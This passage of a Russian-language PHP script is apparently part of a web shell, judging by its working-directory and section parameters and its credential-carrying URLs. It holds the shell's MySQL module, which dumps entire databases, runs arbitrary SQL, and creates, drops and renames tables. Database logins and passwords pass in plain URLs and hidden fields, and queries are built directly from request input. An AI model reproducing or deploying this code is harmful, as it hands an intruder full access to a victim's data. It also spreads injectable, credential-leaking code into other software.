  929. $ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
  930. if ($_REQUEST['strukt']=='d_strukt_bd' && $_REQUEST['send']=='send_br'){
  931. if (sizeof($tabs) == 0) {
  932. $res = mysql_query("SHOW TABLES FROM $db", $connection);
  933. if (mysql_num_rows($res) > 0) {
  934. while ($row = mysql_fetch_row($res)) {
  935. $tabs[] .= $row[0];
  936. }
  937. }
  938. }
  939. $fp = fopen($file, "w");
  940. fputs ($fp, "# Host settings:\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
  941. date("F j, Y, g:i a")."\n# ".$host." (".$ip.")"." dump db \"".$db."\"\n#____________________________________________________________\n\n");
  942. foreach($tabs as $tab) {
  943. if ($add_drop) {
  944. fputs($fp, "DROP TABLE IF EXISTS `".$tab."`;\n");
  945. }
  946. $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $connection) or die(mysql_error());
  947. $row = mysql_fetch_row($res);
  948. fputs($fp, $row[1].";\n\n");
  949. $res = mysql_query("SELECT * FROM `$tab`", $connection);
  950. if (mysql_num_rows($res) > 0) {
  951. while ($row = mysql_fetch_assoc($res)) {
  952. $keys = implode("`, `", array_keys($row));
  953. $values = array_values($row);
  954. foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  955. $values = implode("', '", $values);
  956. $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
  957. fputs($fp, $sql);
  958. }
  959. }
  960. fputs ($fp, "#---------------------------------------------------------------------------------\n\n");
  961. }
  962. fclose($fp);
  963. $dump_file=file($file);
  964. print "<table border=1 align=center cellpadding=2 bgcolor=#181818 width=98%><tr><td>";
  965. print "<table border=0 align=center cellpadding=2 bgcolor=#181818>";
  966. foreach ($dump_file as $k=>$v) {
  967. $v=str_replace("\n","<br>",$v);
  968. print "<tr><td>".strip_tags($v,"<br>")."</td></tr>";
  969. }
  970. print "</table></td></tr></table><br>";
  971. unlink($file);
  972. }
  973. $form_cr_tbl=
  974. "<form method=\"get\" action=\"$self\">".
  975. "<input type=\"hidden\" name=\"s\" value=\"$s\"><input type=hidden name=sec value=mysql>
  976. <input type=hidden name=workingdir value=".getcwd().">".
  977. "<input type=\"hidden\" name=\"db\" value=\"$db\">".
  978. "<input type=\"hidden\" name=\"server\" value=\"$server\">".
  979. "<input type=\"hidden\" name=\"port\" value=\"$port\">".
  980. "<input type=\"hidden\" name=\"login\" value=\"$login\">".
  981. "<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">".
  982. "<table align=center bgcolor=#181818 width=400 cellpadding=0 cellspacing=1 border=0><tr bgcolor=#181818><td valign=top>".
  983. "<table cellpadding=2 bgcolor=#181818 width=100%>".
  984. "<tr><td align=center><b>Создать новую таблицу в базе</b> [ <font color=green><b>$db</b></font> ]<hr color=#181818></td></tr>".
  985. "<tr><td align=center>Имя новой таблицы: <input type=\"text\" name=\"new_tbl_name\" value=\"\" size=25></td></tr>".
  986. "<tr><td align=center>Количество полей таблицы:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"text\" name=\"new_count_cols\" value=\"\" size=10></td></tr>".
  987. "<tr><td align=center><br><input type=\"submit\" value=\"Выполнить запрос\"></td></tr>".
  988. "</table>".
  989. "</td></tr></table></form>";
  990. if (isset($_REQUEST['cr_tbl']) && $_REQUEST['cr_tbl']=='new'){
  991. print "$form_cr_tbl";
  992. }
  993. if ( (isset($new_count_cols)) && (ereg("[^0-9]",$new_count_cols) || preg_match("/ +/",$new_count_cols) || $new_count_cols=='') ) {
  994. print "<script>alert('Количество полей таблицы - это число, а не что-то иное!');</script>";
  995. print "$form_cr_tbl";
  996. }
  997. if ( (ereg("[0-9]",$_REQUEST['new_count_cols'])) && ($_REQUEST['new_tbl_name'] !=='') ) {
  998. for ($i=0; $i < $_REQUEST['new_count_cols']; $i++) {
  999. $pole_count .= "<tr align=center bgcolor=#181818>".
  1000. "<td><input type=\"text\" name=\"field_name[]\" size=\"10\" value=\"\"></td>".
  1001. "<td>
  1002. <select name=\"field_type[]\" width=3>
  1003. <option value=\"VARCHAR\">VARCHAR</option>
  1004. <option value=\"TINYINT\">TINYINT</option>
  1005. <option value=\"TEXT\">TEXT</option>
  1006. <option value=\"DATE\">DATE</option>
  1007. <option value=\"SMALLINT\">SMALLINT</option>
  1008. <option value=\"MEDIUMINT\">MEDIUMINT</option>
  1009. <option value=\"INT\">INT</option>
  1010. <option value=\"BIGINT\">BIGINT</option>
  1011. <option value=\"FLOAT\">FLOAT</option>
  1012. <option value=\"DOUBLE\">DOUBLE</option>
  1013. <option value=\"DECIMAL\">DECIMAL</option>
  1014. <option value=\"DATETIME\">DATETIME</option>
  1015. <option value=\"TIMESTAMP\">TIMESTAMP</option>
  1016. <option value=\"TIME\">TIME</option>
  1017. <option value=\"YEAR\">YEAR</option>
  1018. <option value=\"CHAR\">CHAR</option>
  1019. <option value=\"TINYBLOB\">TINYBLOB</option>
  1020. <option value=\"TINYTEXT\">TINYTEXT</option>
  1021. <option value=\"BLOB\">BLOB</option>
  1022. <option value=\"MEDIUMBLOB\">MEDIUMBLOB</option>
  1023. <option value=\"MEDIUMTEXT\">MEDIUMTEXT</option>
  1024. <option value=\"LONGBLOB\">LONGBLOB</option>
  1025. <option value=\"LONGTEXT\">LONGTEXT</option>
  1026. <option value=\"ENUM\">ENUM</option>
  1027. <option value=\"SET\">SET</option>
  1028. </select>
  1029. </td>".
  1030. "<td><input type=\"text\" name=\"field_length[]\" size=\"6\" value=\"\"></td>".
  1031. "<td>
  1032. <select name=\"field_attribute[]\">
  1033. <option value=\"\" selected=\"selected\"></option>
  1034. <option value=\"BINARY\">BINARY</option>
  1035. <option value=\"UNSIGNED\">UNSIGNED</option>
  1036. <option value=\"UNSIGNED ZEROFILL\">UNS-D ZEROFILL</option>
  1037. </select>
  1038. </td>".
  1039. "<td>
  1040. <select name=\"field_null[]\">
  1041. <option value=\"NOT NULL\">not null</option>
  1042. <option value=\"\">null</option>
  1043. </select>
  1044. </td>".
  1045. "<td><input type=\"text\" name=\"field_default[]\" size=\"14\" value=\"\"></td>".
  1046. "<td>
  1047. <select name=\"field_extra[]\">
  1048. <option value=\"\"></option>
  1049. <option value=\"AUTO_INCREMENT\">auto_increment</option>
  1050. </select>
  1051. </td>".
  1052. "<td align=\"center\"><input type=\"radio\" name=\"field_key_0[$i]\" value=\"primary_0\"></td>".
  1053. "<td align=\"center\"><input type=\"radio\" name=\"field_key_0[$i]\" value=\"index_0\"></td>".
  1054. "<td align=\"center\"><input type=\"radio\" name=\"field_key_0[$i]\" value=\"unique_0\"></td>".
  1055. "<td align=\"center\"><input type=\"radio\" name=\"field_key_0[$i]\" value=\"no\" checked=\"checked\"></td>".
  1056. "</tr>";
  1057. }
  1058. print
  1059. "<form method=\"get\" action=\"$self\">".
  1060. "<input type=\"hidden\" name=\"s\" value=\"$s\"><input type=hidden name=sec value=mysql>
  1061. <input type=hidden name=workingdir value=".getcwd().">".
  1062. "<input type=\"hidden\" name=\"db\" value=\"$db\">".
  1063. "<input type=\"hidden\" name=\"new_tbl_name\" value=\"$new_tbl_name\">".
  1064. "<input type=\"hidden\" name=\"server\" value=\"$server\">".
  1065. "<input type=\"hidden\" name=\"port\" value=\"$port\">".
  1066. "<input type=\"hidden\" name=\"login\" value=\"$login\">".
  1067. "<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">".
  1068. "<table align=center bgcolor=#181818 width=98% cellpadding=0 cellspacing=1 border=0><tr bgcolor=#181818><td valign=top>".
  1069. "<table cellpadding=2 bgcolor=#181818 width=100%>".
  1070. "<tr><td align=center><b>Создать новую таблицу</b> [ <font color=green><b>$new_tbl_name</b></font> ] <b>в базе</b> [ <font color=green><b>$db</b></font> ]<hr color=#FFFFFF></td></tr>".
  1071. "<tr><td align=center>".
  1072. "<table bgcolor=#181818 border=0 cellspacing=1 cellpadding=2 bgcolor=#181818 width=100%>".
  1073. "<tr align=center bgcolor=#181818><td><b>Поле</b></td><td><b>Тип</b></td><td><b>Длинна</b></td><td><b>Атрибуты</b></td><td><b>Ноль</b></td><td><b>По умолчанию</b></td><td><b>Дополнительно</b></td><td><b>Первичный</b></td><td><b>Индекс</b></td><td><b>Уник-oе</b></td><td><b>---</b></td></tr>";
  1074. print $pole_count;
  1075. print
  1076. "</table><br><b>Коментарий к таблице:</b> <input type=\"text\" name=\"comment\" size=\"40\" maxlength=\"80\">
  1077. &nbsp;&nbsp;&nbsp;&nbsp;<b>Тип таблицы:</b>
  1078. <select name=\"tbl_type\">
  1079. <option value=\"Default\">По умолчанию</option>
  1080. <option value=\"MYISAM\">MyISAM</option>
  1081. <option value=\"HEAP\">Heap</option>
  1082. <option value=\"MERGE\">Merge</option>
  1083. <option value=\"ISAM\">ISAM</option>
  1084. </select>&nbsp;&nbsp;&nbsp;&nbsp;
  1085. <input type=\"checkbox\" name=\"php_kod\" value=\"ok\"> Показать PHP-код запроса
  1086. </td></tr>".
  1087. "<tr><td align=center><br><input type=\"submit\" value=\"Выполнить запрос\"></td></tr>".
  1088. "</table>".
  1089. "</td></tr></table></form>";
  1090. }
  1091. if (isset($_REQUEST['field_name'])) {
  1092. for ($i=0; $i<count($field_name); $i++) {
  1093. if ($_REQUEST['field_name'][$i] !=='') {
  1094. $n_name .= "`$field_name[$i]` ";
  1095. if ($_REQUEST['field_length'][$i] !=='') {
  1096. $n_name .= "$field_type[$i]($field_length[$i]) ";
  1097. }else{
  1098. $n_name .= "$field_type[$i] ";
  1099. }
  1100. if ($_REQUEST['field_attribute'][$i] !=='') { $n_name .= "$field_attribute[$i] "; }
  1101. if ($_REQUEST['field_null'][$i] =='NOT NULL') { $n_name .= "$field_null[$i] "; }
  1102. if ($_REQUEST['field_default'][$i] !=='') { $n_name .= "DEFAULT '$field_default[$i]' "; }
  1103. if ($_REQUEST['field_extra'][$i] =='AUTO_INCREMENT') { $n_name .= "$field_extra[$i], "; }else{ $n_name .=', '; }
  1104. if ($_REQUEST['field_key_0'][$i] !=='no') {
  1105. if ($_REQUEST['field_key_0'][$i] =='primary_0') {
  1106. $n_prim .= " `$field_name[$i]`, ";
  1107. }
  1108. if ($_REQUEST['field_key_0'][$i] =='index_0') {
  1109. $n_ind .= " `$field_name[$i]`, ";
  1110. }
  1111. if ($_REQUEST['field_key_0'][$i] =='unique_0') {
  1112. $n_uniq .= " `$field_name[$i]`, ";
  1113. }
  1114. }
  1115. }
  1116. }
  1117. $n_name=substr_replace($n_name,"",-2);
  1118. if (count($n_prim)>0) {
  1119. $n_prim=substr_replace($n_prim,"",-2);
  1120. $n_name .=", PRIMARY KEY ($n_prim)";
  1121. }
  1122. if (count($n_ind)) {
  1123. $n_ind=substr_replace($n_ind,"",-2);
  1124. $n_name .=", INDEX ($n_ind)";
  1125. }
  1126. if (count($n_uniq)) {
  1127. $n_uniq=substr_replace($n_uniq,"",-2);
  1128. $n_name .=", UNIQUE ($n_uniq)";
  1129. }
  1130. $sql_new_tbl = "CREATE TABLE `$new_tbl_name` ( $n_name )";
  1131. if ($_REQUEST['tbl_type'] !=='Default') {
  1132. $sql_new_tbl .= " TYPE =$tbl_type";
  1133. }
  1134. if ($_REQUEST['comment'] !=='') {
  1135. $sql_new_tbl .= " COMMENT = '$comment'";
  1136. }
  1137. $r_n_tbl=mysql_db_query($db, $sql_new_tbl) or die("$h_error".mysql_error()."$f_error");
  1138. $t=base64_encode("<font color=green size=2><b>Action: </b></font><font color=#ffffff size=2>Таблица [ <b>$new_tbl_name</b> ] успешно создана.</font><br>");
  1139. if ($_REQUEST['php_kod']=='ok') {
  1140. $t2=base64_encode("<br><table bgcolor=#EDEEF1 align=center width=98%><font color=green><b>PHP-код запроса:</b></font><tr><td>\$sql='$sql_new_tbl';</td></tr></table><br><br>");
  1141. }else{ $t2=''; }
  1142. print "<head><META HTTP-EQUIV='Refresh' CONTENT='0;url=$self?sec=mysql&workingdir=".getcwd()."&s=$s&db=$db&login=$login&passwd=$passwd&server=$server&port=$port&t=$t&t2=$t2'></head>";
  1143. }
  1144. if ($_REQUEST['q_tbl']=='bd') { $q_bd="SHOW TABLE STATUS "; }
  1145. if ($_REQUEST['return_sql']=='ok') { $q_bd=trim($_REQUEST['new_query_bd']);}
  1146. $form_query_db="<br>
  1147. <form method=\"post\" action=\"$self?sec=mysql&workingdir=".getcwd()."&s=$s&db=$db&server=$server&port=$port&login=$login&passwd=$passwd\">
  1148. <table align=center width=90% border=0 bgcolor=#181818><tr><td>Выполнить произвольный запрос к базе ( <b>$db</b> )</td></tr>
  1149. <tr><td width=90>
  1150. <textarea name=\"new_query_bd\" rows=\"10\" cols=\"80\">$q_bd</textarea>
  1151. </td><td valign=top>
  1152. <input type=\"checkbox\" name=\"php_kod\" value=\"ok\"> Показать PHP-код запроса<br><br>
  1153. <input type=\"checkbox\" name=\"return_sql\" value=\"ok\" checked=\"checked\"> Показать данный запрос снова<br>
  1154. <br>
  1155. <a href=\"$self?sec=mysql&workingdir=".getcwd()."&s=$s&q_help=ok\" target=\"_blank\"><b>Примеры запросов</b></a>
  1156. </td></tr>
  1157. <tr><td>
  1158. <input type=\"submit\" value=\"запрос\">
  1159. </td></tr>
  1160. </table></form>";
  1161. if (isset($db) && $_REQUEST['q_tbl']=='bd') {
  1162. print $form_query_db;
  1163. }
  1164. if (isset($_REQUEST['new_query_bd'])) {
  1165. $_REQUEST['new_query_bd']=trim($_REQUEST['new_query_bd']);
  1166. print $form_query_db;
  1167. if ($_REQUEST['php_kod']=='ok') {
  1168. print "&nbsp;&nbsp;&nbsp;<font color=green><b>PHP-код запроса:</b></font><br>&nbsp;&nbsp;&nbsp;\$sql=\"".$_REQUEST['new_query_bd']."\";<br><br>";
  1169. }
  1170. $r_q_bd=mysql_db_query($db, $_REQUEST['new_query_bd']) or die("$h_error".mysql_error()."$f_error");
  1171. print "&nbsp;&nbsp;&nbsp;<b>Запрос успешно выполнен<b>";
  1172. if ($r_q_bd !=='') {
  1173. print "<table align=center width=98% bgcolor=#D7D8DA>";
  1174. while ($line_bd = @mysql_fetch_array($r_q_bd, MYSQL_ASSOC)) {
  1175. print "<tr>";
  1176. foreach ($line_bd as $key_bd =>$col_value_bd) {
  1177. print "<td bgcolor=#181818>".htmlspecialchars($col_value_bd)."</td>";
  1178. }
  1179. print "</tr>";
  1180. }
  1181. print "</table><br>";
  1182. @mysql_free_result($r_q_bd);
  1183. }
  1184. }
  1185. if (isset($drop_table) && isset($db)){
  1186. mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
  1187. $query = "DROP TABLE IF EXISTS $drop_table";
  1188. $result = mysql_query($query) or die("$h_error<b>".mysql_error()."</b>$f_error");
  1189. $t=base64_encode("<font color=green size=2><b>Action: </b></font><font color=#ffffff size=2>Таблица [ <b>$drop_table </b>] успешно удалена.</font><br>");
  1190. print "<head><META HTTP-EQUIV='Refresh' CONTENT='0;url=$self?sec=mysql&workingdir=".getcwd()."&s=$s&db=$db&login=$login&passwd=$passwd&server=$server&port=$port&t=$t'></head>";
  1191. unset($drop_table);
  1192. }
  1193. if (isset($q_i)) { $n_img($tag,$f_n,$img_c); }
  1194. if (isset($db) && isset($tbl)) {
  1195. $count=mysql_query ("SELECT COUNT(*) FROM $tbl");
  1196. $count_row= mysql_fetch_array($count);
  1197. mysql_free_result($count);
  1198. print "<table border=0 align=center width=100% cellpadding=0 cellspacing=0>
  1199. <tr>
  1200. <td>
  1201. <table align=center border=0 width=700 cellpadding=0 cellspacing=1 bgcolor=#181818>
  1202. <tr align=center>
  1203. <td width=100 bgcolor=#181818>
  1204. <a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&db=$db&tbl=$tbl&st_tab=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"Показать структуру $tbl\"><b>Структура</b></a>
  1205. </td>
  1206. <td width=100 bgcolor=#181818>
  1207. <a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&db=$db&tbl=$tbl&login=$login&passwd=$passwd&server=$server&port=$port&nn_row=ok\" title=\"Вставить новый ряд в таблицу $tbl\"><b>Вставить</b></a>
  1208. </td>
  1209. <td width=120 bgcolor=#181818>
  1210. <a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&db=$db&tbl=$tbl&login=$login&passwd=$passwd&server=$server&port=$port&query_tbl&q_tbl=table\" title=\"Произвольный SQL запрос\"><b>SQL-запрос</b></a>
  1211. </td>
  1212. <td width=120 bgcolor=#181818>
  1213. <a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&tbl=$tbl&dump=tab\" title=\"Экспорт данных таблицы $tbl\"><b>Дамп таблицы</b></a>
  1214. </td>
  1215. <td width=120 bgcolor=#181818>
  1216. <a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&tbl=$tbl&alter_table=TRUE\" title=\"Переименовать таблицу $tbl\"><b>Переименовать</b></a>
  1217. </td>
  1218. <td width=120 bgcolor=#181818>
  1219. <a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&db=$db&drop_table=$tbl&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"Удалить таблицу $tbl\" onClick=\"return confirm('Удалить таблицу $tbl ?')\";><b>Удалить таблицу</b></a>
  1220. </td>
  1221. </tr>
  1222. </table>
  1223. </td>
  1224. </tr>
  1225. <tr>
  1226. <td><br>";
  1227. if (isset($t)) { print "&nbsp;&nbsp;".base64_decode($t);}
  1228. print "&nbsp;&nbsp;БД:(<b>$db</b>)&nbsp;&nbsp;&nbsp;&nbsp;Таблица:(<b>$tbl</b>)&nbsp;&nbsp;&nbsp;
  1229. Всего строк:(<b>$count_row[0]</b>)
  1230. </td>
  1231. </tr>
  1232. <tr>
  1233. <td>
  1234. <table border=0 width=100% cellpadding=4 cellspacing=0 bgcolor=#181818>
  1235. <tr>
  1236. <td bgcolor=#181818 align=center valign=center>";
  1237. $start=$limit_start+$limit_count;
  1238. if (isset($start) && ($start>0)) {
  1239. print "<table align=center border=0 cellpadding=4 cellspacing=0>
  1240. <tr>";
  1241. if ($start+$limit_count >= $count_row[0]){
  1242. $start=$limit_start;
  1243. $limit_count=$count_row[0]-$start;
  1244. }
  1245. if (isset($start) && ($limit_start >= 30) ){
  1246. $back=$limit_start-30;
  1247. print "<form method=\"get\" action=\"$self\">
  1248. <td bgcolor=#181818 align=center>
  1249. <input type=hidden name=sec value=mysql>
  1250. <input type=hidden name=workingdir value=".getcwd().">
  1251. <input type=\"hidden\" name=\"server\" value=\"$server\">
  1252. <input type=\"hidden\" name=\"port\" value=\"$port\">
  1253. <input type=\"hidden\" name=\"login\" value=\"$login\">
  1254. <input type=\"hidden\" name=\"passwd\" value=\"$passwd\">
  1255. <input type=\"hidden\" name=\"db\" value=\"$db\">
  1256. <input type=\"hidden\" name=\"s\" value=\"$s\">
  1257. <input type=\"hidden\" name=\"tbl\" value=\"$tbl\">
  1258. <input type=\"hidden\" name=\"limit_start\" value=\"$back\">
  1259. <input type=\"hidden\" name=\"limit_count\" value=\"30\">
  1260. <input type=\"submit\" value=\"<< назад(30)\">&nbsp;&nbsp;
  1261. </td></form>";
  1262. }
  1263. print " <form method=\"get\" action=\"$self\">
  1264. <td bgcolor=#181818 align=center>
  1265. <input type=hidden name=sec value=mysql>
  1266. <input type=hidden name=workingdir value=".getcwd().">
  1267. <input type=\"hidden\" name=\"server\" value=\"$server\">
  1268. <input type=\"hidden\" name=\"port\" value=\"$port\">
  1269. <input type=\"hidden\" name=\"login\" value=\"$login\">
  1270. <input type=\"hidden\" name=\"passwd\" value=\"$passwd\">
  1271. <input type=\"hidden\" name=\"db\" value=\"$db\">
  1272. <input type=\"hidden\" name=\"s\" value=\"$s\">
  1273. <input type=\"hidden\" name=\"tbl\" value=\"$tbl\">
  1274. <input type=\"submit\" value=\"показать\">&nbsp;&nbsp;от
  1275. <input type=\"text\" name=\"limit_start\" value=\"$start\" size=\"5\" maxlength=\"5\">строки
  1276. &nbsp;&nbsp; <input type=\"text\" name=\"limit_count\" value=\"$limit_count\" size=\"5\" maxlength=\"5\">строк таблицы
  1277. </td></form>";
  1278. if ( isset($limit_start) && ($start <= $count_row[0]) ){
  1279. print "<form method=\"get\" action=\"$self\">
  1280. <td bgcolor=#181818 align=center>
  1281. <input type=hidden name=sec value=mysql>
  1282. <input type=hidden name=workingdir value=".getcwd().">
  1283. <input type=\"hidden\" name=\"server\" value=\"$server\">
  1284. <input type=\"hidden\" name=\"port\" value=\"$port\">
  1285. <input type=\"hidden\" name=\"login\" value=\"$login\">
  1286. <input type=\"hidden\" name=\"passwd\" value=\"$passwd\">
  1287. <input type=\"hidden\" name=\"s\" value=\"$s\">
  1288. <input type=\"hidden\" name=\"db\" value=\"$db\">
  1289. <input type=\"hidden\" name=\"tbl\" value=\"$tbl\">
  1290. <input type=\"hidden\" name=\"limit_start\" value=\"$start\">
  1291. <input type=\"hidden\" name=\"limit_count\" value=\"30\">
  1292. <input type=\"submit\" value=\"вперед(30)>>\">
  1293. </td></form>";
  1294. }
  1295. print "</tr></form></table>";
  1296. }
  1297. if ($alter_table=="TRUE"){
  1298. print " <form method=\"get\" action=\"$self\">
  1299. <input type=hidden name=sec value=mysql>
  1300. <input type=hidden name=workingdir value=".getcwd().">
  1301. <input type=\"hidden\" name=\"s\" value=\"$s\">
  1302. <input type=\"hidden\" name=\"server\" value=\"$server\">
  1303. <input type=\"hidden\" name=\"port\" value=\"$port\">
  1304. <input type=\"hidden\" name=\"login\" value=\"$login\">
  1305. <input type=\"hidden\" name=\"passwd\" value=\"$passwd\">
  1306. <input type=\"hidden\" name=\"db\" value=\"$db\">
  1307. <input type=\"hidden\" name=\"tbl\" value=\"$tbl\">
  1308. <input type=\"hidden\" name=\"alter_table\" value=\"$alter_table\">
  1309. <table border=0 cellpadding=4 cellspacing=1 bgcolor=#181818>
  1310. <tr><td bgcolor=#181818 align=center><font size=2>Переименовать таблицу [ <b>$tbl</b> ]</font></td></tr>
  1311. <tr><td bgcolor=#181818>Новое имя таблицы:
  1312. <input type=\"text\" name=\"alttbl\" value=\"\">
  1313. <input type=\"submit\" value=\"переименовать\" onClick=\"return confirm('Вы уверены, что хотите переименовать таблицу \' $tbl \' ?')\";>
  1314. </td></tr></table></form>";
  1315. }
  1316. if (isset($alttbl)){
  1317. mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
  1318. $query = "ALTER TABLE $tbl RENAME TO $alttbl";
  1319. $result = mysql_query($query) or die("$h_error<b>".mysql_error()."</b>$f_error");
  1320. $t=base64_encode("<font color=green size=2><b>Action: </b></font><font color=#ffffff size=2>Таблица [ <b>$tbl ]</b> переименована в [ <b>$alttbl</b> ]</font><br>");
  1321. print "<head><META HTTP-EQUIV='Refresh' CONTENT='0;url=$self?sec=mysql&workingdir=".getcwd()."&s=$s&db=$db&login=$login&passwd=$passwd&server=$server&port=$port&tbl=$alttbl&limit_start=0&limit_count=5&t=$t'></head>";
  1322. }
  1323. if (isset($st_tab) && $st_tab=='TRUE'){
  1324. mysql_select_db($st_db);
  1325. $result = mysql_query('desc '.$tbl, $connection);
  1326. print "<br><center><font size=2>Структура таблицы [ <b>$tbl</b> ]</font><center>".
  1327. "<table align=center border=0 cellpadding=2 cellspacing=1 width=700 bgcolor=#ffffff>";
  1328. for ($i=0;$i<@mysql_num_fields($result);$i++){
  1329. $name=mysql_field_name($result,$i);
  1330. $name=eregi_replace("Field","Поле",trim($name));
  1331. $name=eregi_replace("Type","Тип",trim($name));
  1332. $name=eregi_replace("Null","Ноль",trim($name));
  1333. $name=eregi_replace("Key","Индексы",trim($name));
  1334. $name=eregi_replace("Default","По умолчанию",trim($name));
  1335. $name=eregi_replace("Extra","Дополнительно",trim($name));
  1336. $nn .= "<td align=center bgcolor=#181818><b>$name</b></td>";
  1337. }
  1338. print "<tr>$nn</tr>";
  1339. while ($l_tbl = @mysql_fetch_array($result, MYSQL_ASSOC)) {
  1340. print "<tr bgcolor=#181818>";
  1341. foreach ($l_tbl as $k_tbl =>$col_v_tbl) {
  1342. if (strtoupper(substr($col_v_tbl, 0, 3)) === 'PRI') {
  1343. $col_v_tbl="Первичный";
  1344. }
  1345. if (strtoupper(substr($col_v_tbl, 0, 3)) === 'UNI') {
  1346. $col_v_tbl="Уникальный";
  1347. }
  1348. if (strtoupper(substr($col_v_tbl, 0, 3)) === 'MUL' && $col_v_tbl !=='') {
  1349. $col_v_tbl="Индекс";
  1350. }
  1351. if (strtoupper(substr($col_v_tbl, 0, 3)) === 'YES') { $col_v_tbl="Да"; }
  1352. if (eregi("Field", $k_tbl)) {
  1353. print "<td><font color=green><b>".htmlspecialchars($col_v_tbl)."</b></font></td>";
  1354. }elseif (eregi("Type", $k_tbl)) {
  1355. print "<td align=left>".htmlspecialchars($col_v_tbl)."</td>";
  1356. }else{
  1357. print "<td align=center>".htmlspecialchars($col_v_tbl)."</td>";
  1358. }
  1359. }
  1360. print "</tr>";
  1361. }
  1362. print "</table><br>";
  1363. @mysql_free_result($result);
  1364. }
  1365. if ($_REQUEST['q_tbl']=='table') { $q_tbl="SELECT * FROM `$tbl` WHERE 1 LIMIT 0, 30"; }
  1366. if ($_REQUEST['return_sql']=='ok') { $q_tbl=trim($_REQUEST['new_query_tbl']); }
  1367. $form_query_db_tbl="<br>
  1368. <form method=\"get\" action=\"$self\">
  1369. <input type=hidden name=sec value=mysql>
  1370. <input type=hidden name=workingdir value=".getcwd().">
  1371. <input type=\"hidden\" name=\"s\" value=\"$s\">
  1372. <input type=\"hidden\" name=\"db\" value=\"$db\">
  1373. <input type=\"hidden\" name=\"tbl\" value=\"$tbl\">
  1374. <input type=\"hidden\" name=\"server\" value=\"$server\">
  1375. <input type=\"hidden\" name=\"port\" value=\"$port\">
  1376. <input type=\"hidden\" name=\"login\" value=\"$login\">
  1377. <;input type=\"hidden\" name=\"passwd\" value=\"$passwd\">
  1378. <table width=90% border=0 bgcolor=#181818><tr><td>Выполнить произвольный запрос к таблице ( <b>$tbl</b> )</td></tr>
  1379. <tr><td width=90>
  1380. <textarea name=\"new_query_tbl\" rows=\"10\" cols=\"80\">$q_tbl</textarea>
  1381. </td><td valign=top>
  1382. <input type=\"checkbox\" name=\"php_kod\" value=\"ok\"> Показать PHP-код запроса<br><br>
  1383. <input type=\"checkbox\" name=\"return_sql\" value=\"ok\" checked=\"checked\"> Показать данный запрос снова<br>
  1384. <br>
  1385. <a href=\"$self?sec=mysql&workingdir=".getcwd()."&s=$s&q_help=ok\" target=\"_blank\"><b>Примеры запросов</b></a>
  1386. </td></tr>
  1387. <tr><td>
  1388. <input type=\"submit\" value=\"запрос\">
  1389. </td></tr>
  1390. </table></td></form>";
  1391. if (isset($_REQUEST['query_tbl']) || $_REQUEST['q_tbl']=='table') {
  1392. print $form_query_db_tbl."<br>";
  1393. }
  1394. if (isset($new_query_tbl)) {
  1395. $new_query_tbl=trim($new_query_tbl);
  1396. print $form_query_db_tbl;
  1397. $result_tbl = mysql_query($new_query_tbl) or die("$h_error<b>".mysql_error()."</b>$f_error");
  1398. if ($result_tbl !=='') {
  1399. print "
  1400. <table align=center border=0 width=90% cellpadding=0 cellspacing=1 bgcolor=#181818><tr>";
  1401. if ($_REQUEST['php_kod']=='ok') { print "<font color=green><b>PHP-код запроса:</b></font><br>\$sql = \"$new_query_tbl\";<br><br>"; }
  1402. if (preg_match("[drop]",$new_query)) { print "Таблица удалена, обновите список таблиц базы."; }
  1403. print "<br><b>Запрос успешно выполнен</b><br>";
  1404. for ($i=0;$i<@mysql_num_fields($result_tbl);$i++){
  1405. $name_tbl=mysql_field_name($result_tbl,$i);
  1406. print "<td bgcolor=#181818>$name_tbl</td>";
  1407. }
  1408. print "</tr>";
  1409. while ($line_tbl = @mysql_fetch_array($result_tbl, MYSQL_ASSOC)) {
  1410. print "<tr>";
  1411. foreach ($line_tbl as $key_tbl =>$col_value_tbl) {
  1412. print "<td bgcolor=#181818>".htmlspecialchars($col_value_tbl)."</td>";
  1413. }
  1414. print "</tr>";
  1415. }
  1416. print "</table><br>";
  1417. @mysql_free_result($result_tbl);
  1418. }
  1419. }
  1420. if (!isset($alter_table) && !isset($st_tab) && !isset($query_tbl) && !isset($new_query_tbl) &&
  1421. !isset($dump) && !isset($strukt) && !isset($query_edit) && !isset($query_del) && !isset($q_get) &&
  1422. !isset($nn_row) && !isset($nn) && !isset($upd_f)) {
  1423. print "<br><table border=0 cellpadding=1 cellspacing=1 width=100% bgcolor=#181818><tr>";
  1424. $query_ind = 'SHOW KEYS FROM '.$tbl;
  1425. $result_ind = mysql_query($query_ind) or die("$h_error<b>".mysql_error()."</b>$f_error");
  1426. while ($row = mysql_fetch_array($result_ind, MYSQL_ASSOC)) {
  1427. if ($row['Key_name'] == 'PRIMARY') {
  1428. $primary[] .= $row['Column_name'];
  1429. }
  1430. }
  1431. mysql_free_result($result_ind);
  1432. $query = "SELECT * FROM $tbl LIMIT $limit_start,$limit_count";
  1433. $result = mysql_query($query) or die("$h_error<b>".mysql_error()."</b>$f_error");
  1434. if (mysql_num_rows($result) == 0) {
  1435. print "Таблица <b>$tbl</b> не содержит ни одной записи";
  1436. }else{
  1437. print "<td bgcolor=#181818></td><td bgcolor=#181818></td>";
  1438. for ($i=0;$i<mysql_num_fields($result);$i++){
  1439. $name=mysql_field_name($result,$i);
